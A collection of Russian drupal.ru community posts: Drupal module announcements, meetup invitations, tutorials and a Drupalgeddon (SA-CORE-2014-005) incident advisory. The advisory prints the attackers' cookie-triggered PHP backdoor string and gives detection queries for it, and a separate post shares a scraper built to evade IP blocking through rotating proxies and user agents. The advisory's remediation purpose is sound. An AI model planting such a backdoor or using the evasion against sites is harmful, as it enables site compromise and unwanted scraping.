Предупреждение безопасности

Сегодня в 16-45 сайт был обновлён на новое ядро!
Судя по всему, за бэкэндом сайта никто не следит и требуется аудит кода и базы на предмет уязвимостей.
Также предлагаю начать обсуждение миграции на dru.io – сайт устарел и небезопасен.

Источник: http://www.drupal.ru/node/124683

Модуль “exFeedback” – генерация и отправка на сервер скриншота страницы сайта.

Все смеются над анекдотами про программистов, про то как им надо ставить задачи.
Все.. кроме программистов.

Вот, наваял что-то..
Надеюсь сэкономит время, нервы и добавит ясности.

Посмотреть работу: http://feedback.ti-work.ru/
Страница на github: https://github.com/orion76/exfeedback

Принимаются: критика, предложения по усовершенствованию, оскорбления, троллинг.
https://github.com/orion76/exfeedback/issues

модуль exFeedback

======
Предоставляет функционал, подобный Google Feedback: http://www.google.com/tools/feedback/intl/ru/.

Описание

:
1.Выводит на странице кнопку “Feedback” (текст кнопки настраивается), при клике на которой
открывается форма выделения подсветкой необходимых регионов страницы текущей страницы.
2.На следующем шаге генерируется скриншот страницы с выделеными областями, и выводиться
текстовое поле для коментария к скриншоту.
3.При сохранении формы на сервер отправляется:
– url текущей страницы
– сгенерированный скриншот текущей страницы
– коментарий к скриншоту
– html-код текущей страницы
– Информация о браузере пользователя, отправившего сообщение.
4.На сервере полученная информация сохраняется в сущность “Feedback” типа “entityform”.

Использованы js-библиотеки

————-
1. https://github.com/ivoviz/feedback
2. https://github.com/niklasvh/html2canvas
Файлы библиотек в составе модуля.

Установка

————-
1.Загружаем модуль в папку /sites/all/modules
2.Загружаем зависимости модуля (если еще не установлены):
– drupal.org/project/features
– drupal.org/project/link
– drupal.org/project/entityform
– drupal.org/project/image
– drupal.org/project/entity
– drupal.org/project/views
3.Модуль “exfeedback_feathure” уже находиться в папке модуля “exFeedback”.
4.Открываем страницу управления модулями вашего сайта ( /admin/modules )
5.Активируем модуль “exFeedback” и сохраняем изменения.
6.Все

Настройка модуля

————-
1.Конфигурация -> Разработка -> Обратная связь
/admin/config/development/feedback
Тут настраиваются параметры библиотеки-плагина feedback.js
В секции “Видимость” настраивается видимость кнопки на различных страницах (как блоки)

2.Содержимое -> Обратная связь
/admin/content/feedback-list
Тут модулем views выводятся сохраненные сообщения.

3.Пользователи -> Прав доступа
/admin/people/permissions
Секция “Feedback”
Установить для ролей настройки доступа:
1.Доступ к настройкам ExFeedback – например для администраторов.
2.Выводить кнопку ExFeedback для роли – например для тестеров.

TODO

———————
1.Разработать функционал, для “приема” сообщений со сторонних сайтов как на Drupal так и других систем,
путем вставки в html-код страниц сторонних сайтов “специального” кода.
2.Улучшить юзабилити и функционал формы отправки сообщений:
– Минимизация формы при пометке областей страницы.
– Автоматическая категоризация сообщений по словарю таксономии.
– Предоставление возможности пользователю просматривать “историю” сообщений прямо на форме отправки сообщения
,отправленных с текущей страницы.

==============
Автор: orion76, email: gpb@yandex.ru
Лицензия: GPL v3

Источник: http://www.drupal.ru/node/124672

Barcamp в Краснодаре, 11 апреля

Приветствую друзья! Силами активистов Южного друпал-сообщества организована секция на Баркемпе 2015 в г. Краснодар!

Название секции: CMS Drupal для разработчика, бизнеса и общества

Где и когда: 11 апреля 2015 г. в КубГАУ (г. Краснодар, ул. Калинина, 13)
Сайт мероприятия: http://barcampsr.ru

В докладчиках наши парни:
Дубовской Александр: Профессиональные сообщества как секрет успеха
Левашов Андрей: Эффект Даннинга-Крюгера в провинциальной веб-разработке или зачем мы возимся со студентами
Шаповалов Николай: – Яндекс Маркет на Drupal.
Селфин Пётр: Эффективные сайты на Drupal без знаний PHP
Синица Сергей: Интернет-магазин на Drupal Commerce

После кэмпа: посиделки с кодовым названием друпал-черемша и возможность потыкать горящими углями от шашлыка в спикеров, с целью выведывания корпоративных секретов. Ну или выиграть студию-другую в покер.

UPD: Добавил видео
Немного тимбилдинга – Поздравление участников Drupalyug
Доклады:
Пётр Селфин – Эффективные сайты на Drupal без знаний PHP
Александр Дубовской – Профессиональные сообщества как секрет успеха
Андрей Левашов – Эффект Даннинга-Крюгера … зачем мы возимся со студентами
Николай Шаповалов – Безопасность и защита вашего сайта (Drupal)

Источник: http://www.drupal.ru/node/116540

Подсветка синтаксиса (фильтры для кода)

Рано или поздно все в веб-разработке сталкиваются с подсветкой синтаксиса и красивой версткой (на автомате) используемого в материале исходника, будь это sql запросы или команды bash — не суть — важна читаемость, красота; как следствие конверсия и глубина просмотра, а значит качество и вклад в развитие рунета

Я решил посмотреть, что есть готового для седьмой версии друпала, уяснить +/- найденных решений и найти оптимальный для своего скромного сайта со справочной информацией, кейсами прекрасными леди и преферансом.

BUEditor
т.к. WYSIWYG я не перевариваю (мне он не нужен), для собственных проектов использую  bueditor в целях уменьшения ручного ввода разметки. из коробки есть батон CODE, обрамляет указанное в <pre><?php phpinfo(); ?></pre> Подсветки нет (на drupal.ru используется code, точнее это  geshifilter встроенный в редактор. BUEditor позволяет создавать собственные кнопки со сравнительно малыми трудозатратами (капитан очевидность у руля) и использовать библиотеки, например Syntax Highlighter для подсветки в back-end’e. В отличие от тега pre дополнительные пробелы внутри контейнера code не учитываются, так же, как и переносы текста. Но это другая опера.

BUEditor + GeSHi Filter
 geshifilter подключает библиотеку http://qbnz.com/highlighter/

Установка
$drush dl geshifilter
Project geshifilter (7.x-1.2) downloaded to sites/all/modules/geshifilter. [success]
Project geshifilter contains 2 modules: geshifield, geshifilter.
$ drush en geshifilter
The following projects have unmet dependencies: [ok]
geshifilter requires libraries
Would you like to download them? (y/n): y
Project libraries (7.x-2.2) downloaded to sites/all/modules/libraries. [success]
The following extensions will be enabled: geshifilter, libraries
Do you really want to continue? (y/n): y
geshifilter was enabled successfully. [ok]
libraries was enabled successfully. [ok]
GeSHi filter is installed. You should now configure the GeSHi filter and enable it in the [status]
desired text formats.
$ wget http://sourceforge.net/projects/geshi/files/geshi/GeSHi%201.0.8.11/GeSHi…
$ tar -xzf GeSHi-1.0.8.11.tar.gz

В админке переходим к настройке фильтров и включаем поддержку GeSHi. Готово, и танцев с бубном не потребовалось.

3. highlightjs (на клиенте)
 highlightjs

не использовал, если есть что сказать про этот вариант — предлагаю обсудить в комментариях

4.  codefilter
простой и деревянный, то что на d.org

2be continued
давайте перетрем))

Источник: http://www.drupal.ru/node/116500

Кэширование и динамические данные в Drupal. Загружаем с помощью AJAX.

Чтобы сайт работал быстро, очевидно, что контент нужно кэшировать. Но если делать “в лоб”, например, используя модули display cache или закэшировать вывод views, то контент, который должен меняться для каждого пользователя тоже станет статичным.

Выход – часть контента кэшировать, а часть грузить с помощью AJAX.

Делюсь простым способом организовать AJAX подгрузку динамическиго контента после загрузки основного содержимого.

Ссылка на статью.

P.S. Интересно кто как решает эту задачу.

Источник: http://www.drupal.ru/node/116446

Если мучает спам на сайте.

Создавал подобную тему когда-то, сейчас думаю – почему люди не понимают очевидного?

Есть проблема – спам на сайтах. Нужно найти решение, простое, изящное и, самое главное – быстрое. А что, проблема то вроде решилась. Установил модуль, включил…
Заходят потом, ааа обошли! Индусы читают каптчу! Китайцы картинки решают за рис! Аааа!

И опять ищут решение. И опять быстрое, потом всё заново – Аааа! Вот мёд советуют – Аааа!

В том что я предлагаю – есть маленький элемент мазохизма. Взамен, в течении нескольких лет вы забудете о проблеме со спамом и, мало того, будете издеваться над ним его полностью контролировать.

==========================================================================================
Этап 1.
Качаем модуль отсюда: Модуль Mollom

Включаем его и переходим на страницу настройки /admin/config/content/mollom/settings там видим предложение ввести Публичный ключ и Личный ключ Где их взять?
Вот тут многие нубы сливаются и отважно идут на Орг искать модуль попроще.
Поэтому, у кого сдали нервы на пол-пути – рекомендую съездить к маме, выйти покурить, хряпнуть коньячку, дать шефу в морду. Ха ха какой я остроумный. Ладно.
===========================================================================================
Этап 2.
Идём в сердце Генерального Конструктора Сайт Mollom

Сайт на английском, если у вас плохие знания оного, выручит Правая Кнопка Мыши и вызов переводчика Гуглтранслейта на странице сайта.
Здесь необходимо зарегистрироваться.
Скажу по секрету – у сайта есть некоторая подозрительность, знаете фильмы про шпионов, так вот – он вас может в следующий раз не пустить, пох на запоминалку паролей в браузере, защита мама не горюй!
Поэтому – рекомендую создать памятку, адрес сайта, логин в нём, мыло и пароль. Это важно. Бумажку спрячьте.Не шучу.
Переходим на Site manager Там начинаем работу над сайтами. В бесплатном варианте (платные нас абсолютно не интересуют) – можно курировать до ДЕСЯТИ сайтов.
Вводим первый, получаем ключи. Их желательно в txt прятать туда же, приблизительно куда и бумажку, в укромное место.
Может статься вам будет просто некогда пробивать защиту головного сайта с восстановлением пароля а ключи – здорово вас выручат своим наличием. Ну это на аварийный случай.
========================================================================================

Всё, тащим публичный и личный ключи в открытую соседнюю вкладку. Вводим в поля – между сайтами пробегает зелёная искра. Фсё мы победили.
============================================================================================

Но это ещё не всё, ещё немного тугомотины, впрочем её можно отложить хоть на месяц, только спам о новом Монстре на сайте не знает и фигачит по прежнему. Почему?
Тут кроется ещё одна причина, из-за чего мы такие тупые, что не можем хоть что-то доделать до конца. Шутка.
==================================================================================================================
Этап 3. Финальный.

На этой странице – /admin/config/content/mollom Первая вкладка ФОРМЫ, выпадающий список. Заходим и добавляем. В первую очередь Пользователь: Форма регистрации пользователя Далее комментарии и прочее, что считаете важным. Можно поставить защитой своеобразную CAPTCHAmollom или Анализ текста Анализ приятная плюшка для адекватного пользователя, если же он задумает пропиарить интенет-магазин супруги, то нарвётся на отказ. Бот в любом случае нарвётся.

Пробивается ли защита? Да – один раз в месяц можно вычистить пару хитроделанных спамеров, которые извращаются из спортивного, видимо интереса, вплоть до имени пользователя Крыши в Новосибирке Да, и такое бывает.
========================================================================================================

Тут писал кто-то ещё, что на очень крупном проекте нужно платить за укрупнение количества пробоев, так до ОЧЕНЬ крупного ещё дожить надо. А там и ежу понятно за что стоит платить, за что не стоит.
Кстати ссыли мои,не партнёрские, пост создан на основании чистой любви к этому сервису.

Статистика за 359 дней, данные одного личного сайта, клиентские не хочу палить ни в каком виде.

Установка платная, советую взять на вооружение – для элитных клиентов. То есть, умный клиент сам создаст акк и даст ключи, вам нужно просто сделать дело и идти в магазин за колбасой.
Это вариант Каптчи, без анализатора текста. С анализатором впечатление что сайт незащищён, но это впечатление обманчиво.


Спасибо за внимание.

Источник: http://www.drupal.ru/node/116223

Ckeditor и загрузка картинок

Скорее себе на память, но может еще кому сгодится.
Если CKEditor не хочет загружать изображения, то можно использовать связку Insert+CKEditor Insert+CKEditor
Добавить новое поле к типу материала, настроить поле. В настройкахъ отображения поля выставить hidden. Настроить CKEditor Insert. В настройках профиля CKeditor убрать стандартную кнопку “вставить изображение”, включить плагин Insert, добавить кнопку вставки изображения от CKeditor Insert (появляется при включении CKeditor Insert).

Не самое элегантное решение, но как альтернатива монстру IMCE подойдет.

Пример работы – на скрине.

А сам модуль Insert и без визуального редактора работает. Тоже полезно

Источник: http://www.drupal.ru/node/116207

[Решение] Простой способ вынести термин таксономии в title материала

1. Устанавливаем Automatic Entity Label
2. Переходим в нужный тип материала, создаем текстовое поле Заголовок (или как вам удобнее).
3. Там же, в управлении полями, переходим во вкладку AUTO LABEL и выбираем Automatically generate the label and hide the label field.
4. В шаблоне для заголовка прописываем [node:field_kategoriya] [node:field_zagolovok], где field_kategoriya – это поле с выбором термина таксономии, field_zagolovok – это созданное Вами поле Заголовок.
В итоге пользователь при создании материала вводит текст в созданное Вами поле Заголовок, выбирает термин таксономии и после получается обычный title, но уже вместе с термином таксономии.

Источник: http://www.drupal.ru/node/115781

DrupalCafe #11 в Москве, 19/02/2015 – 20:00

Друзья, приглашаем на встречу друпалеров в этот четверг, 19.02, в антикафе Бабочки (м. Марксистская/Таганская).

Несколько наших участников подготовили интересные темы для обсуждения:

1. Features
В теории фичи смотрятся очень красиво, но на практике всё сложнее.
2. Drupal+MySQL ==> Drupal + PostgreSQL
Об опыте переноса друпала с одной СУБД на другую.
3. Обзор Backdrop
Наконец, взглянем на форк друпала, который вышел намного раньше восьмёрки.
4. «Мои контрибы»
Кто хотел научиться коммитить на drupal.org? На этом кафе будет отличный шанс втереться в доверие к очень плодовитому друпал-контрибьютеру Андрею Березовскому

Кроме того, с чем-то интересненьким ожидаем гостей из питерского Drupal-сообщества.

Если вы интересуетесь друпалом, смело приходите. Встречи со специалистами-единомышленниками — отличный способ научиться новому и заявить о себе.

Анонс с актуальной информацией: http://drupalcafe.ru/events/drupalcafe-11
Контакт для связи: kalabro@ya.ru, anderspaul@gmail.com

До встречи!

Вложение Размер k1t6fiwwxfs.jpg 22.63 КБ

Источник: http://www.drupal.ru/node/115702

Удаление looping redirects

Есть очень неприятная проблема, когда на сайте появляется запись: “Oops, looks like this request tried to create an infinite loop. We do not allow such things here. We are a professional website!”. Вроде ничего страшного, но страшно раздражает пользователей.

Как избавиться от старых редиректов?

Пишем небольшой drush скрипт:

<?php
// Set up the query using the database API
$query = db_select('redirect', 'r');
$query->join('url_alias', 'ua', 'r.redirect = ua.source AND r.source = ua.alias');
$query->fields('r', array('rid', 'redirect', 'source'));
 
// Execute it and fetch the results, one by one
$result = $query->execute();
$any_results = FALSE;
while($r = $result->fetchAssoc()) {
  // For each result, flag we've got at least one result, notify the CLI user
  // of what we're doing, and delete it using Redirect's own API
  $any_results = TRUE;
  drush_log(dt("Deleting unwanted redirect !r (!s -> !t)",
    array("!r" => $r['rid'], "!s" => $r['source'], "!t" => $r['redirect'])), "success");
  redirect_delete($r['rid']);
}
 
// No results? Report if that's the case
if (!$any_results) {
  drush_log(dt("Nothing to delete!"), "ok");
}?>

Сохраняем переходим в директорию нашего сайта и запускаем:

drush php-script [ПУТЬ_К_СКРИПТУ]

Вуа-ля, все лишние редиректы удалены!

Источник: http://www.drupal.ru/node/115559

Модуль погоды. Текущая, 3/7/10 дней и маленький инлайн блок.

Делюсь модулем погоды.

Показывает текущую погоду, на 3/7/10 дней и имеет в комплекте маленький инлайн блок для встраивания в панели.

Технически:

Забирает погоду с Яндекс. Кэширует на 1 час. Выводит через шаблон.

Исходник: github.com/vital-fadeev/weather

Живая демка: tyumenn.ru/weather

Источник: http://www.drupal.ru/node/115498

Grabber. Граббер сайтов & загрузка в Drupal

В общем. Есть граббер сайтов.
Делюсь.

Практически грабил сайты с расписаниями кино. Грабил сайт с отзывами.

В первом случае,

собирал информацию о расписании сеансов затем брал описание фильма с kinopoisk.ru затем загружал в соответствующие поля и загрузка в поля, было и field collection

Во втором случае

столкнулся с блокировкой IP при 15 запросах к сайту доработан до работы через прокси перебор прокси случайно автоматическая подгрузка списка прокси с сайтов ‘free proxy list’ автоматическая блокировка нерабочих прокси подстановка useragent, разных, случайно запуск в несколько потоков

Задачи были выполнены. Граббер как есть отдаю.

Исходник https://github.com/vital-fadeev/grabber

Детально – на гитхабе.

Источник: http://www.drupal.ru/node/115359

Интенсив по основам разработки на Drupal 7


Добрый день, любители Drupal!

У меня хорошая новость для тех, кто интересуется разработкой на Drupal 7 и желает научиться писать модули и темы.

28 января 2015 я запускаю интенсивный онлайн курс по основам разработки на всеми нами любимом фреймворке. Курс продлится 3 недели. Он включает групповые вебинары, индивидуальные занятия и домашние задания, ну куда же без них.

Тем, кто хочет научиться писать полезные модули, разрабатывать красивые темы и просто хорошо разбираться в API Drupal, этот курс придется очень кстати.

Времени до начала осталось совсем не много, поспешите записаться на курс и зарезервировать себе место в группе!

До встречи на курсе!

Константин Комелин
Ведущий тренер

Вложение Размер morningcurve_drupal_banner.png 129.43 КБ

Источник: http://www.drupal.ru/node/115277

Dru.io — сообщество для Друпалеров


Всем привет! Хочу представить вам своё новое начинание, а именно — DrupalifeCommunity. Как ясно из заголовка, это попытка хоть как-то возобновить и сконцентрировать хоть где-то русскоговорящее сообщество Друпалеров.

Сразу скажу о судьбе проекта. Им я не претендую заменить Drupal.ru, это совершенно отдельное и самостоятельное начинание. Скажем так, альтернативное сообщество, как каким-то пытался стать DrupalSN, но, к сожалению, он не взлетел. Было много причин его гибели, и большая часть заключалась в его закрытости от обычных людей, т.е. это было сообщество для “шарящих”, а другие идут лесом. В этом был фатальный недостаток, ибо у нас нет критической массы профи Друпалеров чтобы такой проект жил, а делать его доступным принципиально не хотели.

Уже много раз тут поднимались подобные темы, обсуждалось сотни раз, начинали делать, но всё это кануло в небытие так и не дойдя до народа. Поэтому, уже давно обдумав решил перед НГ делать, а не обсуждать, а результат смотрите сами.

Так что Welcome, новая “кровь” нам не помешает.

P.s. Если будет спрос, проект продолжу развивать, а если и вовсе заживет своей жизнью, то отделю его в независимый ресурс, а название выберем сами.

Более подробно можно почитать в моём блоге: http://niklan.net/blog/68
Сайт сообщества: http://dru.io/
Мы на GitHub: Репозитарий, обсуждения – присоединяйтесь! Код открыт!

Источник: http://www.drupal.ru/node/115018

Торговая сборка

Краткое описание:
- Адаптивная, резиновая тема;
- Ценовые опции товаров;
- Готовый каталог с зависимыми фильтрами по характеристикам;
- Заказы без регистрации;
- Настроенная стартовая установка (в сборку включены и настроены необходимые дополнительные модули).

Информация, демонстрация и ссылки на загрузку

15-02-19
Как изменить страницу каталога и блок фильтров фильтрами ?
- Для страницы каталога можно скопировать функции template_preprocess_trade_pages_catalog_page из trade.pages.inc в файл template.php переименовав её в mytheme_preprocess_trade_pages_catalog_page
- Для блока использовать функцию template_preprocess_catalog_filters_block из trade.pages.inc таким же способом

15-03-01
- В сборку добавлен и настроен http://drupal.org/project/fivestar для товаров;
- Функционал каталога с фильтрами вынесен в отдельный модуль modules/trade_catalog и может работать c commerce отдельно, без сборки;
- Каталог интегрирован с i18n https://www.drupal.org/project/i18n, лево и право ориентированными языками;
- Для фильтров каталога добавлена поддержка целых и десятичных типов поле товаров;
- На страницы каталога добавлена возможность показа «детских» терминов текущей категории.

15-03-11
- Добавлен module_invoke (hook) на событие «create», «update», «delete» для «заказа», описание – (trade.api.php). Можно использовать это событие из других модулей.
- Для событий «create», «update», «delete» по «заказу» созданы rules(https://www.drupal.org/project/rules) события.
- Созданы token для «Заказа» в ассортименте.

15-03-26
- Добавлен функционал выбора опций товара по умолчанию.

15-04-09
- Добавлена возможность создавать свои виды доставки товара (admin/config/trade/product).

15-04-15
- Добавлена настройка полей для сортировки в каталоге. Можно выбрать поля из товарных типов материала для сортировки в каталоге, указать сортировку по умолчания, их последовательность, названия и начальное направление сортировки (admin/config/trade/trade_catalog_filters).

Источник: http://www.drupal.ru/node/114792

Drupal×Kaliningrad Meetup 2015 | Рождественская встреча 05.01.15 в Калининграде!

Друзья-калининградцы!

Как вам идея собраться на праздничную Drupal-встречу на новогодних каникулах? Со времен прошлой встречи прошла чуть более чем вечность, пора исправлять ситуацию!
Предварительная дата: 5 января (понедельник) 17:00

Организацией сейчас занимаюсь я, Катя Маршалкина. Пишите в почту kalabro@ya.ru или в комменты.

FAQ:

— Хочу прийти! Что делать?
Отпишитесь в этой теме или оставьте свою почту организаторам, чтобы мы смогли сообщить вам точные время/место.

— Не подходит дата.
Есть возможность переноса на 04/01 или 06/01. Обсуждается.

— Хочу выступить с докладом.
Welcome! Ориентируйтесь на краткий формат (10-20 мин), чтобы никого не загрузить на НГ.

— А чего это чувиха из Москвы занимается митапом в Кёниге?
Не надо искать во всём логику. С Наступающим!

Вложение Размер drupalkaliningrad-050115.jpg 42.98 КБ

Источник: http://www.drupal.ru/node/114749

Code Sprint – DrupalCamp Kyiv 2014

Какой профит ты можешь приобрести от участия в спринте? Что нужно знать и уметь? Как все будет устроено? Как сформировать команду? Регистрация Что же это такое?

2 ноября в рамках DrupalCamp Kyiv 2014 разработчики украинского, российского, молдовского и белорусского Drupal-сообществ соберутся вместе, чтобы поработать над улучшением Drupal, исправить ошибки ядра и контриб модулей, научиться контрибьютить и, конечно же, пообщаться в нашей дружной команде.

Под руководством опытных тим лидеров, среди которых Андрей Поданенко (podarok) и Андрей Постников (andypost), мы планируем уделить внимание работе с Drupal 8 и задачами, в решении которых нам смогут помочь ребята из Symfony сообщества. Ты не знал, что в этом году конференция будет совмещать в себе несколько потоков докладов от участников двух сообществ? Ведь теперь у нас есть много общих тем для обсуждения, if you know what we mean Мы приглашаем тебя провести время с максимальной пользой вместе с нами!

Какой профит ты можешь приобрести от участия в спринте? Получить удовольствие от командной работы и завести новые знакомства. Испытать в действии качественный Workflow на основе github+jenkins+codesniffers+buildsites. Внести свой вклад в перевод Drupal 8 на русский, украинский и беларусский языки. Расширить кругозор, узнав побольше о CMF Symfony и познакомиться с участниками сообщества. Участники Киевской команды получат уникальные памятные сувениры

Подробнее о том, что можно взять для себя от участия в код спринте, можно ознакомиться здесь.

Что нужно знать и уметь

Ответ простой: желание и рабочий инструмент. Уровень знаний Drupal должен быть на самом базовом уровне. В сообществе много работы как для новичков так и для опытных разработчиков. Даже если ты сомневаешься в своих силах, менторы помогут выбрать подходящую для тебя задачу и зададут правильное направление для ее решения.

Формат проведения

Стартует Code Sprint 2 ноября в 10 часов утра. В Киеве мы соберемся в помещении компании Ciklum по адресу Амосова, 12 (20 этаж второго здания). Огромное спасибо компании Ciklum за предоставленную возможность! Завершить все запланированные работы планируем в 19:00.
Команды разработчиков из других городов или стран будут работать удаленно. Координация действий будет проходить через Skype чат, в котором можно будет получить необходимую информацию в режиме real-time. Все задачи, которые мы беремся выполнить, организаторы собирают в Meta Issue. Позже мы распределим эти задачи по уровням – Junior, Middle, Senior, а также по типам – Drupal 8, Symfony related, Drupal 7 и т.д.

Как формируются команды на Кодспринт?

Сформировать команду может каждый желающий. В основном это разработчики из одного города, которые собираются поработать в одном помещении. Позже мы сделаем рассылку со списком команд и контактами ответственных тимлидов, чтобы каждый желающий мог присоединиться к команде в своем родном городе. Пожалуйста, свяжись с нами, если у тебя есть команда, для координации действий с менторами.

Если ты хочеш: сделать Drupal лучше; внести свой вклад в развитие сообщества; улучшить свой профиль на drupal.org; поучаствовать в командной работе; завести новые знакомства и найти единомышленников; научиться чему-то новому,

регистрируйся через эту форму http://goo.gl/G3ubUq

Источник: http://www.drupal.ru/node/113150

Внимание! Критическая уязвимость во всех версиях drupal ниже Drupal 7.32 (Highly critical) (update 9)

Критическая уязвимость во всех версиях drupal 7-ой ветки, которой был присвоен уровень “Highly critical“. Уязвимость позволяет выполнить произвольный sql запрос на сайте (сменить пароль для админа, включить php фильтр и добавить произвольный php код в одну из нод). Необходимо срочно обновляться до Drupal 7.32, если возможности сейчас срочно обновиться нет, то как минимум нужно использовать патч https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch устраняющий проблему.

Минигайд по патчу(вручную):
В файле includes/database/database.inc
находим строку:
foreach ($data as $i => $value) {
и заменяем её на:
foreach (array_values($data) as $i => $value) {

Если такой строки нет – уточняйте, возможно ваш хостер уже наложил патч (в виду критичности проблемы).

Официальная информация о уязвимости – https://www.drupal.org/SA-CORE-2014-005
На русском языке – http://www.opennet.ru/opennews/art.shtml?num=40844 и http://habrahabr.ru/post/240721/
Патч – https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch

update.
На хостинге it-patrol.ru наложили патч на все уязвимые сайты. Обновились только 5% сайтов, так что посовещавшись решили наложить патч сами на уязвимые сайты, чтобы защитить клиентов (по рассылке всех уведомили).

update 2.
Информация от neochief

"neochief" написал(а):

Если у вас чудесным образом оказалось уже все пропатчено, либо вы не можете найти нужную строку, не спешите радоваться. Вот здесь описано как такое случается: http://www.zionsecurity.com/blog/2014/10/automated-exploiting-and-backdo…

У меня так было заражено два сайта. Чтобы вылечить, нужно найти вражеский скрипт и снести его (для выявления помогает команда “find . -type f -printf ‘%T@ %p\n’ | sort -k 1nr | sed ’s/^[^ ]* //’ | head -n 10″, которая выводит последние 10 изменившихся файлов, ну или “git status”). Кроме того, в таблице menu_router есть запись, которая может заново создать такой файлик. Ищите по ключевику “$form1=@$_COOKIE” в дампе базы, чтобы проверить.

update 3.
drupal 8 так же подвержен этой уязвимости. Исправили в Drupal 8 beta 2 – https://www.drupal.org/node/2357303

update 4.

"drupby" написал(а):

самое интересное, что ишью по данному поводу было создано в прошлом ноябре https://www.drupal.org/node/2146839, а пофиксили как обычно следующей осенью

Ответ по этому поводу на drupal.org – https://www.drupal.org/node/2146839#comment-9255599

update 5.
Модуль https://www.drupal.org/project/site_audit показывает наличие троянов в menu_router, крайне желательно проверить свой сайт
Или сделайте дамп базы данных и grep ‘$form1=@$_COOKIE’ мой_дамп.sql (для linux)

update 6.
В базе данных взломанных сайтов в таблице menu_router обнаруживается строка с access_arguments примерно следующего вида:
a:2:{i:0;s:25:"modules/taxonomy/yrof.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

Найти такой троян в базе можно запросом:
SELECT * FROM menu_router WHERE access_arguments LIKE '%form1(@$_COOKIE%';

Так же создаются php shell, их ищем так:
find /путь/до/сайта -type f -name "*.php" -exec grep -l '$form1=@$_COOKIE' {} \;

Если в базе не нашли записи, это не ещё не значит, что сайт не взломан. Некоторые злоумышленники заметают следы, убирая записи из базы, после создания php shell


update 7.
Чеклист для проверки сайта
1) Проверяем не засунули ли трояна в menu_router (выглядит примерно так http://www.zoubi.me/sites/default/files/drupageddon_sql.png )
1 способ
делаем запрос в базу
SELECT * FROM menu_router WHERE access_arguments LIKE '%form1(@$_COOKIE%';
2 способ
сделайте дамп базы данных и grep '$form1=@$_COOKIE' мой_дамп.sql (для linux)
3 способ
ставим модуль https://www.drupal.org/project/site_audit

Если строчку нашли, то удаляем её из базы

2) Проверяем не создали ли php shell в директории сайта
find /путь/до/сайта -type f -name "*.php" -exec grep -l '$form1=@$_COOKIE' {} \;

смотрим какие php файлы создавали за последние 5 дней
find /путь/до/сайта -name "*.php" -mtime -5
на каких файлах php изменяли права (иногда полезно)
find /путь/до/сайта -name "*.php" -ctime -5

3) Проверяем не поменяли ли email админа на сайте, меняем пароль (для главного админа и остальных админов, если они есть)
4) Смотрим не появились ли новые группы (роли с повышенными правами), если появились, удаляем
5) Проверяем не появились ли новые пользователи админы (состоящие в группе администратор, или других групп с повышенными правами), если есть, удаляем
6) если не хакали модули сами и не ставили дев версии, то выявить хаки в модулях и ядре поможет модуль https://www.drupal.org/project/hacked

update 8
Злоумышленники массово создавали пользователя с именем drupaldev и ролью megauser (с правами администратора), проверяйте свои сайты.
Проверить наличие в базе данных пользователя drupaldev и роли megauser, можно, к примеру, запросами в базу:
SELECT * FROM role WHERE name='megauser';
SELECT * FROM users WHERE name='drupaldev';

update 9
Информация от Ch
Появился модуль https://www.drupal.org/project/drupalgeddon который анализирует возможный взлом сайта (SA-CORE-2014-005), не имеет интерфейса, выполняется из консоли (drush). Интегрирован с модулем https://www.drupal.org/project/site_audit
Cписок пользователей создаваемых злоумышленниками, которые ишет модуль:

$users = array( 'configure', 'drplsys', 'drupaldev', 'n0n0x', 'system', );

Источник: http://www.drupal.ru/node/113136

7 июня в Санкт-Петербурге Drupal White Nights 2014

Город, который пронизан своей особой культурой. Город, в котором каждый камень способен рассказать свою уникальную историю. Город, чья летняя ночь светла как день. Все это – наш любимый Санкт-Петербург. И этим летом наш гостеприимный город встречает друпалеров из разных городов и стран.

7 июня большой праздник для нас, в Питере пройдет долгожданный Кемп – Drupal White Nights 2014. Мы шли к этому событию два года, встречаясь на семинарах, спринтах, тренингах и в неформальной обстановке. И вот, время пришло для чего-то большего.

От лица организаторов и всего нашего питерского сообщества я приглашаю вас присоединиться к этому замечательному событию.

Мы готовы принять как минимум 150 человек, нам это с легкостью позволят комфортные залы конгресс-центра ПетроКонгресс. За один день в два потока пройдут порядка 15 докладов о разработке на Drupal, администрировании, управлении проектами, бизнесе и многом другом. Несколько докладов уже заявлено, и мы продолжаем принимать заявки. Если у вас есть интересный опыт, и вы готовы им поделиться, то милости просим.

После завершения официальной части Кемпа, нас ждет вечеринка, которая позволит пообщаться с интересными людьми вне конференц-залов и формальностей. У нас так много идей о том, где и как провести вечеринку, что мы еще не приняли окончательного решения. Но в одном мы уверены, что это будет весело!

Регистрация на конференцию открыта и идет полным ходом, так что поспешите купить билет. Тем более, в апреле действует ранняя цена.

И на сладкое, специально для сообщества мы приготовили сюрприз и учредили конкурс Счастливый билет на Drupal White Nights 2014. Победитель получит бесплатный билет на конференцию и всеобщую известность

Будем рады видеть и слышать вас!


Соорганизатор конференции Drupal White Nights 2014
Константин Комелин

Источник: http://www.drupal.ru/node/109448

Drupalife Store – сборка интернет-магазина на Drupal Commerce


Всем привет! Рад анонсировать собственную сборку (дистрибутив) интернет-магазина на Drupal Commerce.

Целью данно сборки является простота и скорость установки магазина, сохранив при этом гибкость и не нагружать бесполезными модулями.

Из коробки решение имеет собственную тему, полностью настроенный магазин, полностью проработанное SEO, адаптивный дизайн и множество других приятных вкусностей.

Более подробно можно почитать в моём блоге: http://niklan.net/blog/57
Демо и загрузка: http://drupalife.com/lab/store
Песочница: http://simplytest.me/project/drupalife_store
Проект на Drupal.org: https://drupal.org/project/drupalife_store

Сборка совершенно бесплатная! Принимаются предложения, пожелания и замечания. В принципе также если у кого есть идеи других сборок, также буду рад выслушать идеи.

Источник: http://www.drupal.ru/node/107941

[Краснодар] DrupalCafe #2/2014 – Социальные сети на Drupal, разбираем Drupal Commons. 25 января 2014 в 15:00. Песочница

Всем привет.
Мы проведём очередное DrupalCafe в Краснодаре.
Время и место встречи – 25 января, суббота, 15:00, антикафе “Песочница“.
Основная тематика встречи – социальные сети на Drupal, будем разбирать сборку Drupal Commons и модули для построения социалок.
Расскажет, покажет и ответит на все вопросы – я, Степаньков Виктор
По всем вопросам можно:
звонить – 9183163495
писать – victor@rxb.name
*
**
*
*
*
*
*
*
*
*
*
*
Антикафе Песочница, Краснодар, ул. Кирова, 59, Краснодар
Как добраться:
